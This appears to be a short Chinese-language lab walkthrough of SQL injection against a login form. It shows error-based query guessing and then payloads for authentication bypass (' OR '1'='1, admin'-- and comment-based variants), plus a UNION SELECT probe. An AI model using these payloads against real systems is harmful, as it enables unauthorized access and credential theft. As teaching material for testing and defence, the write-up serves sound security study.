1.首先随便输入一个账号信息进行提交
返回了登录失败的信息
2.提交单引号尝试触发错误
获得了一条比较详细的错误信息,基于该条错误信息已经可以大致猜到其sql语句。
SELECT * FROM table_name WHERE username = '$name' AND password = '$pass'
3.尝试SQL注入攻击
(1)字符串内联注入
根据猜测的SQL语句通过表单提交的数据构造出可绕过身份验证的语句。
SELECT * FROM table_name WHERE username = '' AND password = '' OR '1'='1' (加粗部分为构造的输入)
尝试登录
登录成功,并返回了一个用户名和密码
(2)终止式SQL注入
在注入SQL代码时,将原语句的剩余部分注释掉,从而结束原来的语句。
SELECT * FROM table_name WHERE username = '$name' AND password = '$pass'
SELECT * FROM table_name WHERE username = 'admin'-- ' AND password = '$pass'
多行注释
SELECT * FROM table_name WHERE username = 'admin'/*' AND password = '*/''
4.漏洞利用
联合查询
aadmin' union select 1,2--